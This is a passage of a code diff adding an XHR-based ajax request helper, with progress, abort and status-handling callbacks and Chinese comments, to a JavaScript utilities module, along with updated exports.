1618
|
+
// Context object to track state
|
|
1619
|
+
context = {
|
|
1620
|
+
//原始xhr
|
|
1621
|
+
xhr,
|
|
1622
|
+
//发送的数据
|
|
1623
|
+
data: requestData,
|
|
1624
|
+
//可取消的函数
|
|
1625
|
+
abort: abortHandler,
|
|
1626
|
+
//xhr.status
|
|
1627
|
+
status: '',
|
|
1628
|
+
//响应的内容
|
|
1629
|
+
content: null,
|
|
1630
|
+
//0~4阶段编号
|
|
1631
|
+
stage: 0,
|
|
1632
|
+
//阶段名称
|
|
1633
|
+
type: 'unset',
|
|
1634
|
+
//上传和下载进度
|
|
1635
|
+
progress: {}
|
|
1636
|
+
},
|
|
1637
|
+
//定义进度函数
|
|
1638
|
+
progressHandler = (name, data, callback) => {
|
|
1639
|
+
if (data.lengthComputable) {
|
|
1640
|
+
const resp = { ...context, status: xhr.status }, ratio = data.loaded / data.total;
|
|
1641
|
+
resp.progress = {
|
|
1642
|
+
name,
|
|
1643
|
+
loaded: data.loaded,
|
|
1644
|
+
total: data.total,
|
|
1645
|
+
timestamp: (new Date(data.timeStamp)).getTime(),
|
|
1646
|
+
ratio,
|
|
1647
|
+
percent: Math.round(ratio * 100),
|
|
1648
|
+
};
|
|
1649
|
+
callback?.(resp);
|
|
1650
|
+
//到达100%执行complete
|
|
1651
|
+
if (resp.progress.percent >= 100) {
|
|
1652
|
+
resp.progress.percent = 100;
|
|
1653
|
+
config?.onComplete?.(resp);
|
|
1654
|
+
}
|
|
1655
|
+
}
|
|
1656
|
+
}, uploadProgressHandler = (data) => {
|
|
1657
|
+
progressHandler('upload', data, (resp) => config.onUpload(resp));
|
|
1658
|
+
}, downloadProgressHandler = (data) => {
|
|
1659
|
+
progressHandler('download', data, (resp) => config.onDownload(resp));
|
|
1660
|
+
};
|
|
1661
|
+
//使用AbortSignal
|
|
1662
|
+
if (config.signal) {
|
|
1663
|
+
if (config.signal.aborted)
|
|
1664
|
+
return abortHandlerWithSignal();
|
|
1665
|
+
config.signal.addEventListener('abort', abortHandlerWithSignal);
|
|
1666
|
+
}
|
|
1667
|
+
//监听上传进度
|
|
1668
|
+
config.onUpload && xhr.upload.addEventListener('progress', uploadProgressHandler);
|
|
1669
|
+
//监听下载进度
|
|
1670
|
+
config.onDownload && xhr.addEventListener('progress', downloadProgressHandler);
|
|
1671
|
+
// 事件监听器
|
|
1672
|
+
config.onError && xhr.addEventListener('error', errorHandler);
|
|
1673
|
+
config.onTimeout && xhr.addEventListener('timeout', timeoutHandler);
|
|
1674
|
+
config.onAbort && xhr.addEventListener('abort', abortHandler);
|
|
1675
|
+
// 手动触发 Created 状态
|
|
1676
|
+
config.onCreated?.({ ...context, type: 'created' });
|
|
1677
|
+
//状态判断
|
|
1678
|
+
xhr.onreadystatechange = function () {
|
|
1679
|
+
context.stage = xhr.readyState;
|
|
1680
|
+
context.status = xhr.status;
|
|
1681
|
+
const statusMap = { 1: 'opened', 2: 'headersReceived', 3: 'loading' };
|
|
1682
|
+
//0=created放在外侧确保能触发,如果放在.onreadystatechange可能触发不了
|
|
1683
|
+
if (xhr.readyState < 4) {
|
|
1684
|
+
if (!xhr.readyState)
|
|
1685
|
+
return;
|
|
1686
|
+
context.type = statusMap[xhr.readyState];
|
|
1687
|
+
config[`on${capitalize(context.type)}`]?.({ ...context });
|
|
1688
|
+
return;
|
|
1689
|
+
}
|
|
1690
|
+
//已经请求成功,不会有timeout事件,也不需要abort了,所以移除abort事件
|
|
1691
|
+
cleanup();
|
|
1692
|
+
const isInformation = xhr.status >= 100 && xhr.status < 200, isSuccess = (xhr.status >= 200 && xhr.status < 300) || xhr.status === 304, isRedirection = xhr.status >= 300 && xhr.status < 400, isClientError = xhr.status >= 400 && xhr.status < 500, isServerError = xhr.status >= 500 && xhr.status < 600;
|
|
1693
|
+
//已经获得返回数据
|
|
1694
|
+
if (isSuccess) {
|
|
1695
|
+
if (!config.responseType || xhr.responseType === 'text') {
|
|
1696
|
+
//可能返回字符串类型的对象,wordpress的REST API
|
|
1697
|
+
let trim = xhr.responseText.trim(), content = '';
|
|
1698
|
+
if ((trim.startsWith('[') && trim.endsWith(']')) || (trim.startsWith('{') && trim.endsWith('}'))) {
|
|
1699
|
+
//通过判断开头字符是{或[来确定异步页面是否是JSON内容,如果是则转成JSON对象
|
|
1700
|
+
try {
|
|
1701
|
+
content = JSON.parse(trim);
|
|
1702
|
+
}
|
|
1703
|
+
catch {
|
|
1704
|
+
console.warn('Malformed JSON detected, falling back to text.');
|
|
1705
|
+
content = xhr.responseText;
|
|
1706
|
+
}
|
|
1707
|
+
}
|
|
1708
|
+
else if (/(<\/html>|<\/body>)/i.test(trim)) {
|
|
1709
|
+
//请求了一个HTML页面
|
|
1710
|
+
//返回文本类型DOMstring
|
|
1711
|
+
let urlHash = getUrlHash(config.url);
|
|
1712
|
+
content = getBodyHTML(trim, config.selector || urlHash);
|
|
1713
|
+
}
|
|
1714
|
+
else {
|
|
1715
|
+
//普通文本,不做任何处理
|
|
1716
|
+
content = xhr.responseText;
|
|
1717
|
+
}
|
|
1718
|
+
//content=文本字符串/json
|
|
1719
|
+
context.content = content;
|
|
1720
|
+
}
|
|
1721
|
+
else {
|
|
1722
|
+
//content=json、blob、document、arraybuffer等类型,如果知道服务器返回的XML, xhr.responseType应该为document
|
|
1723
|
+
context.content = xhr.response;
|
|
1724
|
+
}
|
|
1725
|
+
context.type = 'success';
|
|
1726
|
+
successHandler({ ...context });
|
|
1727
|
+
}
|
|
1728
|
+
else {
|
|
1729
|
+
//失败回调
|
|
1730
|
+
context.content = xhr.response;
|
|
1731
|
+
context.type = isInformation ? 'infomation' : isRedirection ? 'redirection' : isClientError ? 'client-error' : isServerError ? 'server-error' : 'unknown-error';
|
|
1732
|
+
//
|
|
1733
|
+
if (isInformation) {
|
|
1734
|
+
config?.onInformation?.({ ...context });
|
|
1735
|
+
}
|
|
1736
|
+
else if (isRedirection) {
|
|
1737
|
+
config?.onRedirection?.({ ...context });
|
|
1738
|
+
}
|
|
1739
|
+
else {
|
|
1740
|
+
errorHandler({ ...context });
|
|
1741
|
+
}
|
|
1742
|
+
//
|
|
1743
|
+
config?.onFailure?.({ ...context });
|
|
1744
|
+
}
|
|
1745
|
+
config?.onFinish?.({ ...context });
|
|
1746
|
+
};
|
|
1747
|
+
//发送异步请求
|
|
1748
|
+
let openParams = [method, config.url, config.async];
|
|
1749
|
+
if (methodsWithoutBody.includes(method)) {
|
|
1750
|
+
// 拼接url => xxx.com?a=0&b=1#hello
|
|
1751
|
+
const url = buildUrl({
|
|
1752
|
+
url: config.url,
|
|
1753
|
+
data: requestData,
|
|
1754
|
+
cacheBustKey: config.cacheBustKey,
|
|
1755
|
+
appendCacheBust: true,
|
|
1756
|
+
});
|
|
1757
|
+
openParams = [method, url, config.async];
|
|
1758
|
+
}
|
|
1759
|
+
//设置xhr其他字段
|
|
1760
|
+
for (let k in config.xhrFields) {
|
|
1761
|
+
config.xhrFields.hasOwnProperty(k) && (xhr[k] = config.xhrFields[k]);
|
|
1762
|
+
}
|
|
1763
|
+
//与服务器建立连接
|
|
1764
|
+
xhr.open(...openParams);
|
|
1765
|
+
//有则设置,仅跳过空内容
|
|
1766
|
+
for (let k in config.headers) {
|
|
1767
|
+
config.headers.hasOwnProperty(k) && !isEmpty(config.headers[k]) && xhr.setRequestHeader(k, config.headers[k]);
|
|
1768
|
+
}
|
|
1769
|
+
config?.onBeforeSend?.(({ ...context, status: xhr.status, type: 'beforeSend' }));
|
|
1770
|
+
//发送请求,get和head不需要发送数据
|
|
1771
|
+
xhr.send(methodsWithoutBody.includes(method) ? null : (requestData || null));
|
|
1772
|
+
//open和send阶段已经是异步了,无法使用try+catch捕获错误
|
|
1773
|
+
});
|
|
1774
|
+
//绑定xhr和abort
|
|
1775
|
+
result.xhr = xhr;
|
|
1776
|
+
result.abort = () => xhr.abort();
|
|
1777
|
+
return result;
|
|
1778
|
+
};
|
|
1779
|
+
// Static Helper Methods
|
|
1780
|
+
//get、head、trace是不需要发送数据的,data将被转为url参数处理
|
|
1781
|
+
['post', 'put', 'delete', 'patch', 'options', 'get', 'head', 'trace'].forEach(method => {
|
|
1782
|
+
ajax[method] = (url, data, options = { url: '' }) => ajax({ ...options, method, url, data });
|
|
1783
|
+
});
|
|
1784
|
+
ajax.all = (requests) => Promise.all(requests.map(ajax));
|
|
1785
|
+
|
|
1199
1786
|
const utils = {
|
|
1200
1787
|
//executeStr,
|
|
1201
1788
|
getDataType,
|
|
@@ -1233,8 +1820,18 @@ const utils = {
|
|
|
1233
1820
|
parseLLMStream,
|
|
1234
1821
|
toKebabCase,
|
|
1235
1822
|
trimEmptyLines,
|
|
1236
|
-
escapeHtmlChars,
|
|
1237
1823
|
decodeHtmlEntities,
|
|
1824
|
+
escapeCharsMaps,
|
|
1825
|
+
escapeRegexMaps,
|
|
1826
|
+
escapeHTML,
|
|
1827
|
+
toSingleLine,
|
|
1828
|
+
renderTpl,
|
|
1829
|
+
getBodyHTML,
|
|
1830
|
+
getUrlHash,
|
|
1831
|
+
buildUrl,
|
|
1832
|
+
ajax,
|
|
1833
|
+
capitalize,
|
|
1834
|
+
cleanQueryString,
|
|
1238
1835
|
};
|
|
1239
1836
|
|
|
1240
1837
|
module.exports = utils;
|